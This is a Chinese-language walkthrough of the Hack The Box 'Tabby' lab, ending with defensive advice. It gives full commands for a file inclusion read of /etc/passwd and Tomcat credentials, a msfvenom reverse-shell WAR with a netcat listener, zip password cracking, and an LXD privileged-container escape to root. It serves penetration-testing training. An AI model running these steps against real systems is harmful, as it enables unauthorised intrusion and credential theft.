hack the box 之tabby靶场练习
字数 1439 2025-08-10 22:08:13
Tabby靶场渗透测试详细教学文档
1. 靶场信息收集
1.1 初始扫描
- 使用VPN连接获取目标IP地址
- 端口扫描发现开放服务:
- 22端口:SSH服务
- 80端口:HTTP服务
- 8080端口:HTTP服务(Tomcat)
1.2 80端口Web服务分析
- 网站主页无特别信息
- 目录扫描发现:
- /readme.txt:无价值信息
- /login:无特别内容
- /news.php:空白页面
1.3 8080端口Tomcat服务
- 默认Tomcat管理页面
- 提示存在
/etc/tomcat9/tomcat-users.xml文件
2. 漏洞发现与利用
2.1 文件包含漏洞利用
- 在80端口的news.php页面发现参数异常
- 测试文件包含漏洞:
- 成功读取
/etc/passwd文件 - 利用漏洞读取Tomcat配置文件:
/var/lib/tomcat9/conf/tomcat-users.xml- 获取凭证:
tomcat:$3cureP4s5w0rd123!
- 成功读取
2.2 Tomcat管理面板入侵
- 使用获取的凭证登录Tomcat管理面板
- 主管理页面无权限
/host-manager可正常访问
- 部署恶意WAR包:
- 使用msfvenom生成反弹shell的WAR包:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f war > shell.war - 通过管理界面上传并部署WAR包
- 使用msfvenom生成反弹shell的WAR包:
- 设置监听并触发:
- 攻击机开启监听:
nc -lvnp <监听端口> - 访问
http://<目标IP>:8080/shell/触发反弹shell
- 攻击机开启监听:
3. 权限提升
3.1 获取交互式shell
- 在获得的shell中升级为TTY:
或python3 -c 'import pty; pty.spawn("/bin/bash")'script -qc /bin/bash /dev/null
3.2 横向移动至ash用户
- 发现备份文件:
- 路径:
/var/www/html/files/backup.zip - 下载并尝试解压:
unzip backup.zip - 需要密码,使用john爆破:
zip2john backup.zip > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt - 获取密码:
admin@it
- 路径:
- 切换至ash用户:
输入密码su ashadmin@it
3.3 提权至root(LXD容器逃逸)
-
检查LXD组:
id确认当前用户在
lxd组中 -
准备提权:
- 在攻击机生成提权镜像:
生成git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpinealpine-v3.15-x86_64-20220511_1755.tar.gz
- 在攻击机生成提权镜像:
-
传输并执行提权:
- 在攻击机启动HTTP服务:
python3 -m http.server 8000 - 在目标机下载:
wget http://<攻击者IP>:8000/alpine-v3.15-x86_64-20220511_1755.tar.gz -O /tmp/alpine.tar.gz - 执行提权命令:
lxc image import /tmp/alpine.tar.gz --alias myimage lxc init myimage mycontainer -c security.privileged=true lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc start mycontainer lxc exec mycontainer /bin/sh - 进入容器后访问宿主机文件系统:
cd /mnt/root/root
- 在攻击机启动HTTP服务:
4. 关键点总结
-
文件包含漏洞:
- 通过修改参数读取系统文件
- 典型payload:
file=/etc/passwd
-
Tomcat凭证利用:
- 默认配置文件路径:
/etc/tomcat9/tomcat-users.xml/var/lib/tomcat9/conf/tomcat-users.xml
- WAR包部署方式获取shell
- 默认配置文件路径:
-
备份文件利用:
- 常见备份位置:
/var/backups,/var/www/html/backup - 使用zip2john爆破压缩包密码
- 常见备份位置:
-
LXD提权:
- 要求当前用户在lxd组中
- 利用特权容器挂载宿主机根目录
- 关键命令:
-c security.privileged=true
5. 防御建议
-
针对文件包含漏洞:
- 禁用动态文件包含
- 严格过滤用户输入
-
Tomcat安全:
- 修改默认凭证
- 限制管理界面访问IP
- 禁用自动部署
-
系统安全:
- 定期检查备份文件权限
- 限制lxd组用户
- 及时更新补丁
-
监控措施:
- 监控异常文件读取行为
- 记录管理界面登录尝试
- 设置文件完整性监控
通过本教学文档,可以系统性地学习从信息收集到最终提权的完整渗透测试流程,特别关注了LXD容器逃逸这一高级提权技术。